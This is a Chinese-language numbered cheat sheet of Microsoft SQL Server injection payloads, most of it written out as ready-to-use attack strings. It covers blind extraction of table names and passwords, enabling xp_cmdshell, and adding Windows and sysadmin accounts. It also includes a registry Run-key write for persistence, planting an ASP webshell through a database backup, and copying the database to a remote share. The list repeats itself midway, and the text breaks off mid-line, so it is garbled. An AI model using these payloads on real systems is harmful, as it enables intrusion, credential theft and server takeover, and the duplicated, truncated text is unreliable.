?
1、返回的是連接的數據庫名
and db_name()>0
2、作用是獲取連接用戶名
and user>0
3、將數據庫備份到Web目錄下面
;backup database 數據庫名 to disk='c:\inetpub\wwwroot\1.db';--
4、顯示SQL系統版本
and 1=(select @@VERSION) 或and 1=convert(int,@@version)--
5、判斷xp_cmdshell擴展存儲過程是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')
6、恢復xp_cmdshell擴展存儲的命令
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
7、向啟動組中寫入命令行和執行程序
;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\
Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
8、查看當前的數據庫名稱
and 0 <> db_name(n) n改成0,1,2,3……就可以跨庫了 或and 1=convert(int,db_name())--
9、不需xp_cmdshell支持在有注入漏洞的SQL服務器上運行CMD命令(同第76)
10、則把得到的數據內容全部備份到WEB目錄下
;backup database 數據庫名 to disk='c:\inetpub\wwwroot\save.db'
11、通過復制CMD創建UNICODE漏洞
;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe?? c:\inetpub\scripts\cmd.exe"
12、遍歷系統的目錄結構,分析結果并發現WEB虛擬目錄
先創建一個臨時表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
(1)利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中 ?? ;insert temp exec master.dbo.xp_availablemedia;--
通過查詢temp的內容來獲得驅動器列表及相關信息
(2)利用xp_subdirs獲得子目錄列表,并存入temp表中 ?? ?? ?? ?? ?? ??? ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
(3)還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,并寸入temp表中?? ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實驗成功)
13、查看某個文件的內容,可以通過執行xp_cmdsell
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
14、將一個文本文件插入到一個臨時表中
;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
15、每完成一項瀏覽后,應刪除TEMP中的所有內容,刪除方法是:
;delete from temp;--
16、瀏覽TEMP表的方法是:
and (select top 1 id from TestDB.dbo.temp)>0 假設TestDB是當前連接的數據庫名
17、猜解所有數據庫名稱
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0?? dbid=6,7,8分別得到其它庫名
18、猜解數據庫中用戶名表的名稱
and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到系統帳號表的名稱。
19、判斷是否是sysadmin權限
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
20、判斷是否是SA用戶
'sa'=(SELECT System_user)
21、查看數據庫角色
;use model--
22、查看庫名
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)--
23、獲得第一個用戶建立表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0?? 假設要獲得數據庫是TestDB.dbo
24、獲得第二個用戶建立的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0
25、獲得第三個用戶建立的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0?? ''中為第二個用戶名
26、獲得第四個用戶建立的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','',''))>0?? '',''中為第二,三個用戶名
27、獲得表中記錄的條數
and (select count(*) from 表名)<5 記錄條數小于5?? 或?? <10 記錄條數小于10?? ……等等
28、測試權限結構(mssql)
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(SELECT IS_MEMBER('db_owner'));--
29、 添加mssql和系統的帳戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
30、 簡潔的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';
請求的時候,像這樣子用:
http://ip/l.asp?c=dir
31、猜解字段名稱
猜解法:and (select count(字段名) from 表名)>0?? 若“字段名”存在,則返回正常
讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0?? 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。
32、 猜解用戶名與密碼
ASCII碼逐字解碼法:基本的思路是先猜出字段的長度,然后依次猜出每一位的值
and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假設:username為用戶名字段的名稱,admin為表的名稱?? 若x為某一值i且abc.asp運行正常時,則i就是第一個用戶名的長度。
and (select top 1 ascii(substring(username,m,1)) from admin)=n?? (m的值在上一步得到的用戶名長度之間,當m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統用戶帳號表的名稱),
33、建立數據表
;create table 表名 (列名1 數據類型,列名2 數據類型);--
34、向表格中插入數據
;insert into 表名 (列名1,列名2,……) values ('值1','值2'……);--
35、更新記錄
update 表名 set 列名1='值'…… where ……
36、刪除記錄
delete from 表名 where ……
37、刪除數據庫表格
drop table 表名
38、將文本文件導入表
使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。簡單地創建這個表:
create table foo( line varchar(8000))
然后執行bulk insert操作把文件中的數據插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
39、備份當前數據庫的命令:
declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--
40、使用sp_makewebtask處理過程的相關請求寫入URL
; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
41、將獲得SQLSERVER進程的當前工作目錄中的目錄列表
Exec master..xp_cmdshell 'dir'
42、將提供服務器上所有用戶的列表
Exec master..xp_cmdshell 'net user'
43、讀注冊表存儲過程
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
44、xp_servicecontrol過程允許用戶啟動,停止,暫停和繼續服務
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
45、顯示機器上有用的驅動器
Xp_availablemedia
46、允許獲得一個目錄樹
Xp_dirtree
47、提供進程的進程ID,終止此進程
Xp_terminate_process
48、恢復xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'
49、堵上cmdshell的SQL語句
sp_dropextendedproc "xp_cmdshell"
50、不需要XP_CMDSHLL直接添加系統帳號,對XPLOG70.DLL被刪很有效
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'--
51、在數據庫內添加一個hax用戶
;exec sp_addlogin hax;--
52、給hax設置密碼
;exec master.dbo.sp_password null,username,password;--
53、將hax添加到sysadmin組
;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
54、(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
55、(2)遍歷目錄
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結構
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內容
56、mssql中的存儲過程
xp_regenumvalues 注冊表根鍵, 子鍵
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回所有鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 寫入注冊表
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 刪除某個值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Tes
and db_name()>0
2、作用是獲取連接用戶名
and user>0
3、將數據庫備份到Web目錄下面
;backup database 數據庫名 to disk='c:\inetpub\wwwroot\1.db';--
4、顯示SQL系統版本
and 1=(select @@VERSION) 或and 1=convert(int,@@version)--
5、判斷xp_cmdshell擴展存儲過程是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')
6、恢復xp_cmdshell擴展存儲的命令
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
7、向啟動組中寫入命令行和執行程序
;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\
Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
8、查看當前的數據庫名稱
and 0 <> db_name(n) n改成0,1,2,3……就可以跨庫了 或and 1=convert(int,db_name())--
9、不需xp_cmdshell支持在有注入漏洞的SQL服務器上運行CMD命令(同第76)
10、則把得到的數據內容全部備份到WEB目錄下
;backup database 數據庫名 to disk='c:\inetpub\wwwroot\save.db'
11、通過復制CMD創建UNICODE漏洞
;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe?? c:\inetpub\scripts\cmd.exe"
12、遍歷系統的目錄結構,分析結果并發現WEB虛擬目錄
先創建一個臨時表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
(1)利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中 ?? ;insert temp exec master.dbo.xp_availablemedia;--
通過查詢temp的內容來獲得驅動器列表及相關信息
(2)利用xp_subdirs獲得子目錄列表,并存入temp表中 ?? ?? ?? ?? ?? ??? ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
(3)還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,并寸入temp表中?? ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實驗成功)
13、查看某個文件的內容,可以通過執行xp_cmdsell
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
14、將一個文本文件插入到一個臨時表中
;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
15、每完成一項瀏覽后,應刪除TEMP中的所有內容,刪除方法是:
;delete from temp;--
16、瀏覽TEMP表的方法是:
and (select top 1 id from TestDB.dbo.temp)>0 假設TestDB是當前連接的數據庫名
17、猜解所有數據庫名稱
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0?? dbid=6,7,8分別得到其它庫名
18、猜解數據庫中用戶名表的名稱
and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到系統帳號表的名稱。
19、判斷是否是sysadmin權限
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
20、判斷是否是SA用戶
'sa'=(SELECT System_user)
21、查看數據庫角色
;use model--
22、查看庫名
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)--
23、獲得第一個用戶建立表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0?? 假設要獲得數據庫是TestDB.dbo
24、獲得第二個用戶建立的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0
25、獲得第三個用戶建立的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0?? ''中為第二個用戶名
26、獲得第四個用戶建立的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','',''))>0?? '',''中為第二,三個用戶名
27、獲得表中記錄的條數
and (select count(*) from 表名)<5 記錄條數小于5?? 或?? <10 記錄條數小于10?? ……等等
28、測試權限結構(mssql)
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(SELECT IS_MEMBER('db_owner'));--
29、 添加mssql和系統的帳戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
30、 簡潔的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';
請求的時候,像這樣子用:
http://ip/l.asp?c=dir
31、猜解字段名稱
猜解法:and (select count(字段名) from 表名)>0?? 若“字段名”存在,則返回正常
讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0?? 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。
32、 猜解用戶名與密碼
ASCII碼逐字解碼法:基本的思路是先猜出字段的長度,然后依次猜出每一位的值
and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假設:username為用戶名字段的名稱,admin為表的名稱?? 若x為某一值i且abc.asp運行正常時,則i就是第一個用戶名的長度。
and (select top 1 ascii(substring(username,m,1)) from admin)=n?? (m的值在上一步得到的用戶名長度之間,當m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統用戶帳號表的名稱),
33、建立數據表
;create table 表名 (列名1 數據類型,列名2 數據類型);--
34、向表格中插入數據
;insert into 表名 (列名1,列名2,……) values ('值1','值2'……);--
35、更新記錄
update 表名 set 列名1='值'…… where ……
36、刪除記錄
delete from 表名 where ……
37、刪除數據庫表格
drop table 表名
38、將文本文件導入表
使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。簡單地創建這個表:
create table foo( line varchar(8000))
然后執行bulk insert操作把文件中的數據插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
39、備份當前數據庫的命令:
declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--
40、使用sp_makewebtask處理過程的相關請求寫入URL
; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
41、將獲得SQLSERVER進程的當前工作目錄中的目錄列表
Exec master..xp_cmdshell 'dir'
42、將提供服務器上所有用戶的列表
Exec master..xp_cmdshell 'net user'
43、讀注冊表存儲過程
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
44、xp_servicecontrol過程允許用戶啟動,停止,暫停和繼續服務
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
45、顯示機器上有用的驅動器
Xp_availablemedia
46、允許獲得一個目錄樹
Xp_dirtree
47、提供進程的進程ID,終止此進程
Xp_terminate_process
48、恢復xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'
49、堵上cmdshell的SQL語句
sp_dropextendedproc "xp_cmdshell"
50、不需要XP_CMDSHLL直接添加系統帳號,對XPLOG70.DLL被刪很有效
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'--
51、在數據庫內添加一個hax用戶
;exec sp_addlogin hax;--
52、給hax設置密碼
;exec master.dbo.sp_password null,username,password;--
53、將hax添加到sysadmin組
;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
54、(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
55、(2)遍歷目錄
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結構
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內容
56、mssql中的存儲過程
xp_regenumvalues 注冊表根鍵, 子鍵
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回所有鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 寫入注冊表
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 刪除某個值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Tes